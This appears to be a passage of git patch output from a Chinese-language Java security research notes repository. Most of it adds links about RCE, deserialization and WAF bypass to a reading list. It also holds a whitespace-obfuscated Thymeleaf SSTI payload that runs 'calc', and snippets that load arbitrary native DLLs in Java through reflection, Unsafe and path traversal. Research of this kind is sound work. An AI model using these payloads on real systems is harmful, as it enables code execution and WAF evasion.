kX8xDv5oLFHaz3PbQLish3WWGvAqV4ONDWG&acctmode=0&pass_ticket=uGXE0Z4fPCmC9suZxdId189%2FNtwCT5VyAktjMGr70tXhWj2mXEslo4cG4WozS3Vz&wx_header=0&fontgear=2) **好np** + 2022/11/19 [命令注入执行](https://0xn3va.gitbook.io/cheat-sheets/web-application/command-injection) + 2022/11/19 [Hessian 序列化、反序列化](https://mp.weixin.qq.com/s/icYs7VjPRytt6zgXja9V-w) **学习** ++ 2022/11/20 [Remote Command Execution in a Bank Server](https://medium.com/@win3zz/remote-command-execution-in-a-bank-server-b213f9f42afe) From 844dfd1d2ba34b857d20de7513f9b9d8af12fa46 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 22 Nov 2022 18:44:36 +0800 Subject: [PATCH 118/254] Update Readme.md --- "java\346\250\241\346\235\277\346\263\250\345\205\245/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\250\241\346\235\277\346\263\250\345\205\245/Readme.md" "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Readme.md" index 722fd77..cfc36e4 100644 --- "a/java\346\250\241\346\235\277\346\263\250\345\205\245/Readme.md" +++ "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Readme.md" @@ -11,6 +11,7 @@ + [Velocity模板注入](Velocity) **2021 四川省比赛省赛非攻Java logiclogic** 后缀名.vm [wp](https://mp.weixin.qq.com/s?__biz=MzI3NDEzNzIxMg==&mid=2650481832&idx=2&sn=7b092fc6e26c7d5f131b8ef7a30dc85c&chksm=f3172dbbc460a4ad99f29b445dd92873304d7c34798f977695ba775a5096a6b707106190a09f&mpshare=1&scene=23&srcid=0924Bci6wWhHifB6Y7Cmc5hl&sharer_sharetime=1632452737857&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd) + [beetl模板注入](Beetl) + [jfinalcms enjoy](jfinalcms_enjoy) **2021 字节ctf考察过。** ++ [Java FreeMarker 模板引擎注入深入分析](https://mp.weixin.qq.com/s/aYTp0suulfjQ5dcocS33Kg) ------------------------------------------------------------------------------------------------------------------------- # SSTI From a43731568a56fd2be95238ce312b70268ed3d834 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 23 Nov 2022 19:48:20 +0800 Subject: [PATCH 119/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 2e074c2..a2d7665 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -202,3 +202,4 @@ + 2022/11/19 [命令注入执行](https://0xn3va.gitbook.io/cheat-sheets/web-application/command-injection) + 2022/11/19 [Hessian 序列化、反序列化](https://mp.weixin.qq.com/s/icYs7VjPRytt6zgXja9V-w) **学习** + 2022/11/20 [Remote Command Execution in a Bank Server](https://medium.com/@win3zz/remote-command-execution-in-a-bank-server-b213f9f42afe) ++ 2022/11/23 [ZK框架权限绕过导致R1Soft Server Backup Manager RCE并接管Agent](http://tttang.com/archive/1833) From 07b6b7f7a5ab3d17fed2c347c4f2ffd8ab032c3b Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 23 Nov 2022 20:07:47 +0800 Subject: [PATCH 120/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index a2d7665..4e36434 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -202,4 +202,4 @@ + 2022/11/19 [命令注入执行](https://0xn3va.gitbook.io/cheat-sheets/web-application/command-injection) + 2022/11/19 [Hessian 序列化、反序列化](https://mp.weixin.qq.com/s/icYs7VjPRytt6zgXja9V-w) **学习** + 2022/11/20 [Remote Command Execution in a Bank Server](https://medium.com/@win3zz/remote-command-execution-in-a-bank-server-b213f9f42afe) -+ 2022/11/23 [ZK框架权限绕过导致R1Soft Server Backup Manager RCE并接管Agent](http://tttang.com/archive/1833) ++ 2022/11/23 [ZK框架权限绕过导致R1Soft Server Backup Manager RCE并接管Agent](http://tttang.com/archive/1833) **forward转发 bypass 权限操作** From b3ea51bfbe450ab23aaa7623a7d2174f83fd880a Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 26 Nov 2022 21:59:40 +0800 Subject: [PATCH 121/254] =?UTF-8?q?Rename=20c=E8=AF=AD=E8=A8=80=E8=83=BD?= =?UTF-8?q?=E5=AE=9E=E7=8E=B0agent=3F!.md=20to=20c=E8=AF=AD=E8=A8=80?= =?UTF-8?q?=E8=83=BD=E5=AE=9E=E7=8E=B0agent=E5=90=97.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...0\200\350\203\275\345\256\236\347\216\260agent\345\220\227.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "java\346\227\245\345\270\270/c\350\257\255\350\250\200\350\203\275\345\256\236\347\216\260agent?!.md" => "java\346\227\245\345\270\270/c\350\257\255\350\250\200\350\203\275\345\256\236\347\216\260agent\345\220\227.md" (100%) diff --git "a/java\346\227\245\345\270\270/c\350\257\255\350\250\200\350\203\275\345\256\236\347\216\260agent?!.md" "b/java\346\227\245\345\270\270/c\350\257\255\350\250\200\350\203\275\345\256\236\347\216\260agent\345\220\227.md" similarity index 100% rename from "java\346\227\245\345\270\270/c\350\257\255\350\250\200\350\203\275\345\256\236\347\216\260agent?!.md" rename to "java\346\227\245\345\270\270/c\350\257\255\350\250\200\350\203\275\345\256\236\347\216\260agent\345\220\227.md" From f939b114f79692c1c31c007ddb4aa4ba8b47495c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 27 Nov 2022 11:38:32 +0800 Subject: [PATCH 122/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 4e36434..e7ea0b0 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -203,3 +203,4 @@ + 2022/11/19 [Hessian 序列化、反序列化](https://mp.weixin.qq.com/s/icYs7VjPRytt6zgXja9V-w) **学习** + 2022/11/20 [Remote Command Execution in a Bank Server](https://medium.com/@win3zz/remote-command-execution-in-a-bank-server-b213f9f42afe) + 2022/11/23 [ZK框架权限绕过导致R1Soft Server Backup Manager RCE并接管Agent](http://tttang.com/archive/1833) **forward转发 bypass 权限操作** ++ 2022/11/27 [burp指纹修改](https://mp.weixin.qq.com/s?__biz=MzU1NTQ5MDEwNw==&mid=2247484690&idx=1&sn=5b2251069f9bcc98c340278207825c66&chksm=fbd2cb46cca542505b3f49c8ba7f609fab9d5ca6a43b6ebdc61cf67a3f725406b998b56fdbdc&mpshare=1&scene=23&srcid=1126mmkxPLOblhlehRFdhOY7&sharer_sharetime=1669485801645&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From 2f4f6e6db79f31b3fadb0366806c4030a5250e29 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 30 Nov 2022 11:24:32 +0800 Subject: [PATCH 123/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index e7ea0b0..0ac1427 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -204,3 +204,4 @@ + 2022/11/20 [Remote Command Execution in a Bank Server](https://medium.com/@win3zz/remote-command-execution-in-a-bank-server-b213f9f42afe) + 2022/11/23 [ZK框架权限绕过导致R1Soft Server Backup Manager RCE并接管Agent](http://tttang.com/archive/1833) **forward转发 bypass 权限操作** + 2022/11/27 [burp指纹修改](https://mp.weixin.qq.com/s?__biz=MzU1NTQ5MDEwNw==&mid=2247484690&idx=1&sn=5b2251069f9bcc98c340278207825c66&chksm=fbd2cb46cca542505b3f49c8ba7f609fab9d5ca6a43b6ebdc61cf67a3f725406b998b56fdbdc&mpshare=1&scene=23&srcid=1126mmkxPLOblhlehRFdhOY7&sharer_sharetime=1669485801645&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2022/11/30 [关于HackerOne上Grafana、jolokia、Flink攻击手法的学习](https://mp.weixin.qq.com/s/iQlLvF8LHzJvL8ofE2YvKA) **flink 寻找main 有意思** From 817c0d4703ab013050aad47b0c88ebc302183eae Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 30 Nov 2022 20:08:26 +0800 Subject: [PATCH 124/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 0ac1427..331bb23 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -205,3 +205,4 @@ + 2022/11/23 [ZK框架权限绕过导致R1Soft Server Backup Manager RCE并接管Agent](http://tttang.com/archive/1833) **forward转发 bypass 权限操作** + 2022/11/27 [burp指纹修改](https://mp.weixin.qq.com/s?__biz=MzU1NTQ5MDEwNw==&mid=2247484690&idx=1&sn=5b2251069f9bcc98c340278207825c66&chksm=fbd2cb46cca542505b3f49c8ba7f609fab9d5ca6a43b6ebdc61cf67a3f725406b998b56fdbdc&mpshare=1&scene=23&srcid=1126mmkxPLOblhlehRFdhOY7&sharer_sharetime=1669485801645&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/11/30 [关于HackerOne上Grafana、jolokia、Flink攻击手法的学习](https://mp.weixin.qq.com/s/iQlLvF8LHzJvL8ofE2YvKA) **flink 寻找main 有意思** ++ 2022/11/30 [内存马的攻防博弈之旅之gRPC内存马](https://mp.weixin.qq.com/s/osuoinwCpOwNM4WoI6SOnQ) **可能之后可以用** From 7ce6d3e9d7f78cf86bda961d7f7f903f857536ea Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 2 Dec 2022 16:25:37 +0800 Subject: [PATCH 125/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 331bb23..dc792f6 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -206,3 +206,4 @@ + 2022/11/27 [burp指纹修改](https://mp.weixin.qq.com/s?__biz=MzU1NTQ5MDEwNw==&mid=2247484690&idx=1&sn=5b2251069f9bcc98c340278207825c66&chksm=fbd2cb46cca542505b3f49c8ba7f609fab9d5ca6a43b6ebdc61cf67a3f725406b998b56fdbdc&mpshare=1&scene=23&srcid=1126mmkxPLOblhlehRFdhOY7&sharer_sharetime=1669485801645&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/11/30 [关于HackerOne上Grafana、jolokia、Flink攻击手法的学习](https://mp.weixin.qq.com/s/iQlLvF8LHzJvL8ofE2YvKA) **flink 寻找main 有意思** + 2022/11/30 [内存马的攻防博弈之旅之gRPC内存马](https://mp.weixin.qq.com/s/osuoinwCpOwNM4WoI6SOnQ) **可能之后可以用** ++ 2022/12/02 [一次失败的定点漏洞挖掘之代码审计宜信Davinci](https://www.cnblogs.com/r00tuser/p/13265435.html) **遇到了 但是不出网** From 338a056bcaeba8ae2c391831d012ff2b9fdfd84c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 3 Dec 2022 00:30:14 +0800 Subject: [PATCH 126/254] Update README.md --- Struts2/README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/Struts2/README.md b/Struts2/README.md index bbe2332..5f8b882 100644 --- a/Struts2/README.md +++ b/Struts2/README.md @@ -19,3 +19,8 @@ [漏洞版本](http://archive.apache.org/dist/struts/binaries/) ![](./img/环境.png) + +## TODO +分析各个s2 漏洞 +s2-62 和新的 [https://mc0wn.blogspot.com/2022/11/rce-on-apache-struts-2530.html](https://mc0wn.blogspot.com/2022/11/rce-on-apache-struts-2530.html) + From 8de7d2f2d33c9801e8fb01e3d326b78526e214e3 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 5 Dec 2022 00:16:13 +0800 Subject: [PATCH 127/254] Create Readme.md --- .../Thymeleaf/Readme.md" | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 "java\346\250\241\346\235\277\346\263\250\345\205\245/Thymeleaf/Readme.md" diff --git "a/java\346\250\241\346\235\277\346\263\250\345\205\245/Thymeleaf/Readme.md" "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Thymeleaf/Readme.md" new file mode 100644 index 0000000..1f606b5 --- /dev/null +++ "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Thymeleaf/Readme.md" @@ -0,0 +1,8 @@ +# 绕过文章 + + ++ [记一次实战之若依SSTI注入绕过玄某盾](https://mp.weixin.qq.com/s/7TCZDkfCXlmEhcTb85fw_Q) + +```java +__${T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x +``` From 94ac544cfcfe4ff50f04d4e3bdcf9ca03002fde4 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 5 Dec 2022 18:45:41 +0800 Subject: [PATCH 128/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index dc792f6..2cab2d8 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -207,3 +207,4 @@ + 2022/11/30 [关于HackerOne上Grafana、jolokia、Flink攻击手法的学习](https://mp.weixin.qq.com/s/iQlLvF8LHzJvL8ofE2YvKA) **flink 寻找main 有意思** + 2022/11/30 [内存马的攻防博弈之旅之gRPC内存马](https://mp.weixin.qq.com/s/osuoinwCpOwNM4WoI6SOnQ) **可能之后可以用** + 2022/12/02 [一次失败的定点漏洞挖掘之代码审计宜信Davinci](https://www.cnblogs.com/r00tuser/p/13265435.html) **遇到了 但是不出网** ++ 2022/12/05 [宝塔后渗透-添加用户|反弹shell](https://mp.weixin.qq.com/s/2o_H66BMqy3Ft3-5ERlKpQ) **后渗透比较重要** From bfd1c0166adf388ec31c6f465aacc5452e1aa36b Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 5 Dec 2022 18:58:16 +0800 Subject: [PATCH 129/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 2cab2d8..7ad6d0f 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -208,3 +208,4 @@ + 2022/11/30 [内存马的攻防博弈之旅之gRPC内存马](https://mp.weixin.qq.com/s/osuoinwCpOwNM4WoI6SOnQ) **可能之后可以用** + 2022/12/02 [一次失败的定点漏洞挖掘之代码审计宜信Davinci](https://www.cnblogs.com/r00tuser/p/13265435.html) **遇到了 但是不出网** + 2022/12/05 [宝塔后渗透-添加用户|反弹shell](https://mp.weixin.qq.com/s/2o_H66BMqy3Ft3-5ERlKpQ) **后渗透比较重要** ++ 2022/12/05 [Nacos Client Yaml反序列化漏洞分析](https://xz.aliyun.com/t/10355) [Nacos 未授权远程代码执行漏洞通告](https://mp.weixin.qq.com/s/Zpa3af43XZECglYMbNRk8g) **add user有用** From 9d5838edce77f1baeadcc64c5367dc501fbcf4e5 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 8 Dec 2022 20:06:46 +0800 Subject: [PATCH 130/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 7ad6d0f..b72f4c4 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -209,3 +209,4 @@ + 2022/12/02 [一次失败的定点漏洞挖掘之代码审计宜信Davinci](https://www.cnblogs.com/r00tuser/p/13265435.html) **遇到了 但是不出网** + 2022/12/05 [宝塔后渗透-添加用户|反弹shell](https://mp.weixin.qq.com/s/2o_H66BMqy3Ft3-5ERlKpQ) **后渗透比较重要** + 2022/12/05 [Nacos Client Yaml反序列化漏洞分析](https://xz.aliyun.com/t/10355) [Nacos 未授权远程代码执行漏洞通告](https://mp.weixin.qq.com/s/Zpa3af43XZECglYMbNRk8g) **add user有用** ++ 2022/12/08 [CVE-2022-44262](https://github.com/ff4j/ff4j/issues/624) **需要找到构造方法并且是string类型的利用** From b541642076316d86f83af6f6d42f488f1c764b32 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 8 Dec 2022 20:11:14 +0800 Subject: [PATCH 131/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b72f4c4..0f0f613 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -210,3 +210,4 @@ + 2022/12/05 [宝塔后渗透-添加用户|反弹shell](https://mp.weixin.qq.com/s/2o_H66BMqy3Ft3-5ERlKpQ) **后渗透比较重要** + 2022/12/05 [Nacos Client Yaml反序列化漏洞分析](https://xz.aliyun.com/t/10355) [Nacos 未授权远程代码执行漏洞通告](https://mp.weixin.qq.com/s/Zpa3af43XZECglYMbNRk8g) **add user有用** + 2022/12/08 [CVE-2022-44262](https://github.com/ff4j/ff4j/issues/624) **需要找到构造方法并且是string类型的利用** ++ 2022/12/08 [RCE on Apache Struts 2.5.30](https://mc0wn.blogspot.com/2022/11/rce-on-apache-struts-2530.html) **np s2的利用** From 85c348b0513fe1f99d7973ed586e888e091229f9 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 9 Dec 2022 15:59:18 +0800 Subject: [PATCH 132/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 0f0f613..e263195 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -211,3 +211,4 @@ + 2022/12/05 [Nacos Client Yaml反序列化漏洞分析](https://xz.aliyun.com/t/10355) [Nacos 未授权远程代码执行漏洞通告](https://mp.weixin.qq.com/s/Zpa3af43XZECglYMbNRk8g) **add user有用** + 2022/12/08 [CVE-2022-44262](https://github.com/ff4j/ff4j/issues/624) **需要找到构造方法并且是string类型的利用** + 2022/12/08 [RCE on Apache Struts 2.5.30](https://mc0wn.blogspot.com/2022/11/rce-on-apache-struts-2530.html) **np s2的利用** ++ 2022/12/09 [那些年一起打过的CTF - Laravel 任意用户登陆Tricks分析](https://www.yulegeyu.com/2021/09/22/%E9%82%A3%E4%BA%9B%E5%B9%B4%E4%B8%80%E8%B5%B7%E6%89%93%E8%BF%87%E7%9A%84CTF-Laravel-%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E9%99%86Tricks%E5%88%86%E6%9E%90/) **不愧是是雨神，yyds** From f52b42909225d1b440c6f148ef72292621c2539f Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 9 Dec 2022 18:04:45 +0800 Subject: [PATCH 133/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index e263195..928f766 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -212,3 +212,4 @@ + 2022/12/08 [CVE-2022-44262](https://github.com/ff4j/ff4j/issues/624) **需要找到构造方法并且是string类型的利用** + 2022/12/08 [RCE on Apache Struts 2.5.30](https://mc0wn.blogspot.com/2022/11/rce-on-apache-struts-2530.html) **np s2的利用** + 2022/12/09 [那些年一起打过的CTF - Laravel 任意用户登陆Tricks分析](https://www.yulegeyu.com/2021/09/22/%E9%82%A3%E4%BA%9B%E5%B9%B4%E4%B8%80%E8%B5%B7%E6%89%93%E8%BF%87%E7%9A%84CTF-Laravel-%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E9%99%86Tricks%E5%88%86%E6%9E%90/) **不愧是是雨神，yyds** ++ 2022/12/09 [老版本Fastjson 的一些不出网利用](https://www.yulegeyu.com/2022/11/12/Java%E5%AE%89%E5%85%A8%E6%94%BB%E9%98%B2%E4%B9%8B%E8%80%81%E7%89%88%E6%9C%ACFastjson-%E7%9A%84%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/) ***yyds* From 7c7bb49024d7f70b43a23688237c1ad0988865e0 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 9 Dec 2022 21:21:07 +0800 Subject: [PATCH 134/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 928f766..1c3bad2 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -213,3 +213,4 @@ + 2022/12/08 [RCE on Apache Struts 2.5.30](https://mc0wn.blogspot.com/2022/11/rce-on-apache-struts-2530.html) **np s2的利用** + 2022/12/09 [那些年一起打过的CTF - Laravel 任意用户登陆Tricks分析](https://www.yulegeyu.com/2021/09/22/%E9%82%A3%E4%BA%9B%E5%B9%B4%E4%B8%80%E8%B5%B7%E6%89%93%E8%BF%87%E7%9A%84CTF-Laravel-%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E9%99%86Tricks%E5%88%86%E6%9E%90/) **不愧是是雨神，yyds** + 2022/12/09 [老版本Fastjson 的一些不出网利用](https://www.yulegeyu.com/2022/11/12/Java%E5%AE%89%E5%85%A8%E6%94%BB%E9%98%B2%E4%B9%8B%E8%80%81%E7%89%88%E6%9C%ACFastjson-%E7%9A%84%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/) ***yyds* ++ 2022/12/09 [浅谈XXE防御(Java)](https://mp.weixin.qq.com/s/BSq77W0u0-O2elKZTJQNOQ) From 5bf66424673ceb3a8134b54622bb7fe7c813e77c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 14 Dec 2022 00:24:38 +0800 Subject: [PATCH 135/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 1c3bad2..2e0bfa2 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -214,3 +214,4 @@ + 2022/12/09 [那些年一起打过的CTF - Laravel 任意用户登陆Tricks分析](https://www.yulegeyu.com/2021/09/22/%E9%82%A3%E4%BA%9B%E5%B9%B4%E4%B8%80%E8%B5%B7%E6%89%93%E8%BF%87%E7%9A%84CTF-Laravel-%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E9%99%86Tricks%E5%88%86%E6%9E%90/) **不愧是是雨神，yyds** + 2022/12/09 [老版本Fastjson 的一些不出网利用](https://www.yulegeyu.com/2022/11/12/Java%E5%AE%89%E5%85%A8%E6%94%BB%E9%98%B2%E4%B9%8B%E8%80%81%E7%89%88%E6%9C%ACFastjson-%E7%9A%84%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/) ***yyds* + 2022/12/09 [浅谈XXE防御(Java)](https://mp.weixin.qq.com/s/BSq77W0u0-O2elKZTJQNOQ) ++ 2022/12/14 [js-on-security-off-abusing-json-based-sql-to-bypass-waf](https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf) From a018982d8b362af7684f13d3f5cfe37b94f1adce Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 17 Dec 2022 16:20:20 +0800 Subject: [PATCH 136/254] Add files via upload --- ...23\347\232\204\346\226\271\346\263\225.md" | 75 +++++++++++++++++++ ...46\344\271\240\351\230\262\345\276\241.md" | 16 ++++ 2 files changed, 91 insertions(+) create mode 100644 "java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" create mode 100644 "spel\345\255\246\344\271\240\351\230\262\345\276\241.md" diff --git "a/java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" "b/java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" new file mode 100644 index 0000000..d797145 --- /dev/null +++ "b/java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" @@ -0,0 +1,75 @@ +# java 加载链接库的方法 + +https://tttang.com/archive/1436/ + +1.System.load + +```java +try { + System.load("D:\\temp\\calc_x64.dll"); +}catch (UnsatisfiedLinkError e){ + e.printStackTrace(); +} +``` + +2.Runtime.getRuntime().load + +```java +Runtime.getRuntime().load("D:\\temp\\calc_x64.dll"); +``` + +3.com.sun.glass.utils.NativeLibLoader.loadLibrary + +```java +com.sun.glass.utils.NativeLibLoader.loadLibrary("\\..\\..\\..\\..\\..\\..\\..\\..\\temp\\calc_x64"); +``` + +有限制 + +1. 存在于jdk\javafx-src.zip!\com\sun\glass\utils\NativeLibLoader.java，在不同的版本的jdk中javafx并不是都存在的。 +2. NativeLibLoader会首先在jdk环境下找文件名，如果需要自定义路径必须使用../的方式进行目录穿越。并且如果是windows的话，只能穿越到JDK所在的盘符的根目录下。举例说明，如果JDK安装在`D:/java/JDK/`下，那么只能穿越到D盘的任意目录下面，比例说穿越到D:/temp/目录下，文件名参数就只能写成**../../../../temp/calc**，文件名还不能跟后缀，不然传入文件名会被变成**calc.dll.dll**。相对而言Linux平台是可以穿越任意目录的。 + +4.反射模拟底层调用 + +- 如果模拟ClassLoader加载就会存在两个方案 + - 模拟ClassLoader的loadLibrary和loadLibrary0两个方案。 +- 如果模拟NativeLibrary就只存在load方法 + +**ClassLoader#loadLibrary** + +```java +try { + Class clazz = Class.forName("java.lang.ClassLoader"); + Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); + method.setAccessible(true); + method.invoke(null, clazz, "D:\\temp\\calc_x64.dll", true); +}catch (Exception e){ + e.printStackTrace(); +} +``` + +**NativeLibrary#load** + +```java +String file = "D:\\temp\\calc_x64.dll"; +Class a = Class.forName("java.lang.ClassLoader$NativeLibrary"); +Constructor con = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class}); +con.setAccessible(true); +Object obj = con.newInstance(JDKClassLoaderBypass.class,file,true); +Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class); +method.setAccessible(true); +method.invoke(obj, file, false); +``` + +```java +String file = "D:\\temp\\calc_x64.dll"; +Class aClass = Class.forName("sun.misc.Unsafe"); +Constructor declaredConstructor = aClass.getDeclaredConstructor(); +declaredConstructor.setAccessible(true); +Unsafe unsafe = (Unsafe)declaredConstructor.newInstance(); +Object obj = unsafe.allocateInstance(a); +Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class); +method.setAccessible(true); +method.invoke(obj, file, false); +``` + diff --git "a/spel\345\255\246\344\271\240\351\230\262\345\276\241.md" "b/spel\345\255\246\344\271\240\351\230\262\345\276\241.md" new file mode 100644 index 0000000..7eda739 --- /dev/null +++ "b/spel\345\255\246\344\271\240\351\230\262\345\276\241.md" @@ -0,0 +1,16 @@ +# spel防御 + +最直接的防御方法就是使用`SimpleEvaluationContext`替换`StandardEvaluationContext`。 + +官方文档：[SimpleEvaluationContext的API官方文档](https://links.jianshu.com/go?to=https%3A%2F%2Fdocs.spring.io%2Fspring%2Fdocs%2F5.0.6.RELEASE%2Fjavadoc-api%2Forg%2Fspringframework%2Fexpression%2Fspel%2Fsupport%2FSimpleEvaluationContext.html) + +![image-20220325230922109](img/image-20220325230922109.png) + +SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext： + +- 